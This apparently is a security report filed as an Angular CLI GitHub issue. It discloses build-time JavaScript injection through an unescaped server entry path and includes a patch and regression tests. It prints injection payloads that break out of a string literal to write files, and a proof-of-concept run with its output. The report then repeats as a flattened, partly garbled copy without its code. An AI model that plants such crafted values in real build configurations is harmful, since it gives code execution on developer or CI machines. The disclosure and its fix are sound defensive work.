Command
build
Is this a regression?
The previous version in which this bug was not present was
No response
Description
Report description
Angular CLI build-time code injection via unescaped server entry path
The problem
Please describe the technical details of the vulnerability
1. technical details
The Angular application builder accepts the server entry path as a plain string and converts it directly into a workspace path:
let serverEntryPoint: string | undefined;
if (typeof options.server === 'string') {
if (options.server === '') {
throw new Error('The "server" option cannot be an empty string.');
}
serverEntryPoint = path.join(workspaceRoot, options.server);
}
That path is later transformed into a module specifier:
function entryFileToWorkspaceRelative(workspaceRoot: string, entryFile: string): string {
return './' + toPosixPath(relative(workspaceRoot, entryFile).replace(/.[mc]?ts$/, ''));
}
Angular CLI then embeds the resulting string directly into generated virtual module source code for the server bundle:
const mainServerEntryPointJsImport = entryFileToWorkspaceRelative(
workspaceRoot,
mainServerEntryPoint,
);
const contents: string[] = [
`import '${mainServerInjectManifestNamespace}';`,
`export {
ɵdestroyAngularServerApp,
ɵextractRoutesAndCreateRouteTree,
ɵgetOrCreateAngularServerApp,
} from '@angular/ssr';`,
`export { ɵresetCompiledComponents } from '@angular/core';`,
`export { default } from '${mainServerEntryPointJsImport}';`,
`export * from '${mainServerEntryPointJsImport}';`,
];
The same unsafe pattern also appears in the SSR entry bundle path:
const serverEntryPointJsImport = entryFileToWorkspaceRelative(
workspaceRoot,
serverEntryPoint,
);
const contents: string[] = [
`import '${ssrInjectManifestNamespace}';`,
`import * as server from '${serverEntryPointJsImport}';`,
`export * from '${serverEntryPointJsImport}';`,
`const defaultExportName = 'default';`,
`export default server[defaultExportName]`,
];
Because these module specifiers are inserted into single-quoted JavaScript source without escaping, a malicious server value containing a quote can break out of the string literal and inject arbitrary JavaScript into the generated virtual module.
For example, a server value like:
src/main.server';globalThis.process.getBuiltinModule('node:fs').writeFileSync('issue4-hit','1');'x.ts
produces generated code equivalent to:
export { default } from './src/main.server';globalThis.process.getBuiltinModule('node:fs').writeFileSync('issue4-hit','1');'x';
export * from './src/main.server';globalThis.process.getBuiltinModule('node:fs').writeFileSync('issue4-hit','1');'x';
During a static SSR/prerender build, Angular CLI loads the generated main.server.mjs module:
async function renderPage({ url }: RenderOptions): Promise<string | null> {
const { ɵgetOrCreateAngularServerApp: getOrCreateAngularServerApp } =
await loadEsmModuleFromMemory('./main.server.mjs');
const angularServerApp = getOrCreateAngularServerApp({
allowStaticRouteRender: true,
});
As a result, the injected JavaScript executes during the build.
2. vulnerability reproduction
The attached PoC script is:
cd ./work/angular-cli/server_entry_code_injection_test
./run-poc.sh
This PoC uses the current local angular-cli repository code. It consumes the
local package tarballs built from the current worktree, creates a disposable
SSR/prerender application, sets a malicious build.options.server value, and
runs a normal static build:
ng build --configuration development --output-mode=static
The malicious server option used by the current PoC is:
src/main.server';globalThis.process.getBuiltinModule('node:fs').writeFileSync('build-rce-marker.txt','RCE_reached_the_build_worker.');'x.ts
Observed result from the PoC:
[poc] Injected server option:
src/main.server';globalThis.process.getBuiltinModule('node:fs').writeFileSync('build-rce-marker.txt','RCE_reached_the_build_worker.');'x.ts
[poc] Build-time RCE marker:
/root/code/google/work/angular-cli/server_entry_code_injection_test/runtime/project/build-rce-marker.txt
RCE_reached_the_build_worker.
[poc] Generated static output:
/root/code/google/work/angular-cli/server_entry_code_injection_test/runtime/project/dist/server-entry-code-injection/browser/index.html
This demonstrates that attacker-controlled JavaScript from the server entry
path is injected into the generated server module and executed during the
Angular CLI build. The PoC intentionally does not include a control case; it
only demonstrates the real impact path.
The generated output also confirms that Angular CLI completed the static SSR
flow after executing the injected payload:
runtime/project/dist/server-entry-code-injection/browser/index.html
3. patch
diff --git a/packages/angular/build/src/tools/esbuild/application-code-bundle.ts b/packages/angular/build/src/tools/esbuild/application-code-bundle.ts
index c3f542e1bdfb529198a149751ffb44ecd9672287..842bb35e5abae1b7ebe227631588bd4ef71d181b 100644
--- a/packages/angular/build/src/tools/esbuild/application-code-bundle.ts
+++ b/packages/angular/build/src/tools/esbuild/application-code-bundle.ts
@@ -338,6 +338,7 @@ export function createServerMainCodeBundleOptions(
workspaceRoot,
mainServerEntryPoint,
);
+ const mainServerEntryPointSpecifier = JSON.stringify(mainServerEntryPointJsImport);
const contents: string[] = [
// Inject manifest
@@ -354,8 +355,8 @@ export function createServerMainCodeBundleOptions(
`export { ɵresetCompiledComponents } from '@angular/core';`,
// Re-export all symbols including default export from 'main.server.ts'
- `export { default } from '${mainServerEntryPointJsImport}';`,
- `export * from '${mainServerEntryPointJsImport}';`,
+ `export { default } from ${mainServerEntryPointSpecifier};`,
+ `export * from ${mainServerEntryPointSpecifier};`,
];
return {
@@ -481,13 +482,14 @@ export function createSsrEntryCodeBundleOptions(
workspaceRoot,
serverEntryPoint,
);
+ const serverEntryPointSpecifier = JSON.stringify(serverEntryPointJsImport);
const contents: string[] = [
// Configure `@angular/ssr` app engine manifest.
`import '${ssrInjectManifestNamespace}';`,
// Re-export all symbols including default export
- `import * as server from '${serverEntryPointJsImport}';`,
- `export * from '${serverEntryPointJsImport}';`,
+ `import * as server from ${serverEntryPointSpecifier};`,
+ `export * from ${serverEntryPointSpecifier};`,
// The below is needed to avoid
// `Import "default" will always be undefined because there is no matching export` warning when no default is present.
`const defaultExportName = 'default';`,
diff --git a/packages/angular/build/src/builders/application/tests/options/server_spec.ts b/packages/angular/build/src/builders/application/tests/options/server_spec.ts
index a01a4eef73e22e66fece5683fb656254af2e885e..5d9471dbdfba3e934464881844389acf2e82ffa7 100644
--- a/packages/angular/build/src/builders/application/tests/options/server_spec.ts
+++ b/packages/angular/build/src/builders/application/tests/options/server_spec.ts
@@ -7,6 +7,7 @@
*/
import { buildApplication } from '../../index';
+import { OutputMode } from '../../schema';
import { APPLICATION_BUILDER_INFO, BASE_OPTIONS, describeBuilder } from '../setup';
describeBuilder(buildApplication, APPLICATION_BUILDER_INFO, (harness) => {
@@ -77,6 +78,22 @@ describeBuilder(buildApplication, APPLICATION_BUILDER_INFO, (harness) => {
harness.expectFile('dist/browser/main.js').toNotExist();
});
+ it('escapes special characters in the server entry path when generating the server bundle', async () => {
+ harness.useTarget('build', {
+ ...BASE_OPTIONS,
+ outputMode: OutputMode.Static,
+ server:
+ "src/main.server';globalThis.process.getBuiltinModule('node:fs').writeFileSync('issue4-hit','1');'x.ts",
+ });
+
+ const { result, logs } = await harness.executeOnce({ outputLogsOnFailure: false });
+
+ expect(result?.success).toBeFalse();
+ expect(logs).toContain(
+ jasmine.objectContaining({ message: jasmine.stringMatching('Could not resolve \"') }),
+ );
+ harness.expectFile('issue4-hit').toNotExist();
+ });
+
it('throws an error when given an empty string', async () => {
harness.useTarget('build', {
...BASE_OPTIONS,
diff --git a/packages/angular/build/src/builders/application/tests/options/output-mode.ts b/packages/angular/build/src/builders/application/tests/options/output-mode.ts
index 4e6a6eb49a7d7af84b4fd4a0abe2702ccbe1a33c..4553dd3501b4dfeb171ceafd89a9dffd731bb6c6 100644
--- a/packages/angular/build/src/builders/application/tests/options/output-mode.ts
+++ b/packages/angular/build/src/builders/application/tests/options/output-mode.ts
@@ -38,6 +38,25 @@ describeBuilder(buildApplication, APPLICATION_BUILDER_INFO, (harness) => {
harness.expectDirectory('dist/server').toNotExist();
});
+ it('escapes special characters in the ssr entry path when generating the SSR entry bundle', async () => {
+ harness.useTarget('build', {
+ ...BASE_OPTIONS,
+ outputMode: OutputMode.Static,
+ server: 'src/main.server.ts',
+ ssr: {
+ entry:
+ "src/server';globalThis.process.getBuiltinModule('node:fs').writeFileSync('issue4-hit','1');'x.ts",
+ },
+ });
+
+ const { result, logs } = await harness.executeOnce({ outputLogsOnFailure: false });
+
+ expect(result?.success).toBeFalse();
+ expect(logs).toContain(
+ jasmine.objectContaining({ message: jasmine.stringMatching('Could not resolve \"') }),
+ );
+ harness.expectFile('issue4-hit').toNotExist();
+ });
+
it(`should emit 'server' directory when OutputMode is Server`, async () => {
harness.useTarget('build', {
...BASE_OPTIONS,
Impact analysis – Please briefly explain who can exploit the vulnerability, and what they gain when doing so
An attacker who can influence the Angular workspace configuration used for a build can exploit this issue by supplying a crafted build.options.server value.
Successful exploitation executes attacker-controlled JavaScript in the Node.js process that performs the Angular CLI build. In practice, this gives the attacker code execution with the privileges of the developer workstation or CI runner building the application.
Minimal Reproduction
server_entry_code_injection_test.tar.gz
Exception or Error
Your Environment
Anything else relevant?
No response
Command
build
Is this a regression?
The previous version in which this bug was not present was
No response
Description
Report description
Angular CLI build-time code injection via unescaped
serverentry pathThe problem
Please describe the technical details of the vulnerability
1. technical details
The Angular application builder accepts the
serverentry path as a plain string and converts it directly into a workspace path:That path is later transformed into a module specifier:
Angular CLI then embeds the resulting string directly into generated virtual module source code for the server bundle:
The same unsafe pattern also appears in the SSR entry bundle path:
Because these module specifiers are inserted into single-quoted JavaScript source without escaping, a malicious
servervalue containing a quote can break out of the string literal and inject arbitrary JavaScript into the generated virtual module.For example, a
servervalue like:produces generated code equivalent to:
During a static SSR/prerender build, Angular CLI loads the generated
main.server.mjsmodule:As a result, the injected JavaScript executes during the build.
2. vulnerability reproduction
The attached PoC script is:
cd ./work/angular-cli/server_entry_code_injection_test ./run-poc.shThis PoC uses the current local
angular-clirepository code. It consumes thelocal package tarballs built from the current worktree, creates a disposable
SSR/prerender application, sets a malicious
build.options.servervalue, andruns a normal static build:
The malicious
serveroption used by the current PoC is:Observed result from the PoC:
This demonstrates that attacker-controlled JavaScript from the
serverentrypath is injected into the generated server module and executed during the
Angular CLI build. The PoC intentionally does not include a control case; it
only demonstrates the real impact path.
The generated output also confirms that Angular CLI completed the static SSR
flow after executing the injected payload:
3. patch
Impact analysis – Please briefly explain who can exploit the vulnerability, and what they gain when doing so
An attacker who can influence the Angular workspace configuration used for a build can exploit this issue by supplying a crafted
build.options.servervalue.Successful exploitation executes attacker-controlled JavaScript in the Node.js process that performs the Angular CLI build. In practice, this gives the attacker code execution with the privileges of the developer workstation or CI runner building the application.
Minimal Reproduction
server_entry_code_injection_test.tar.gz
Exception or Error
Your Environment
Anything else relevant?
No response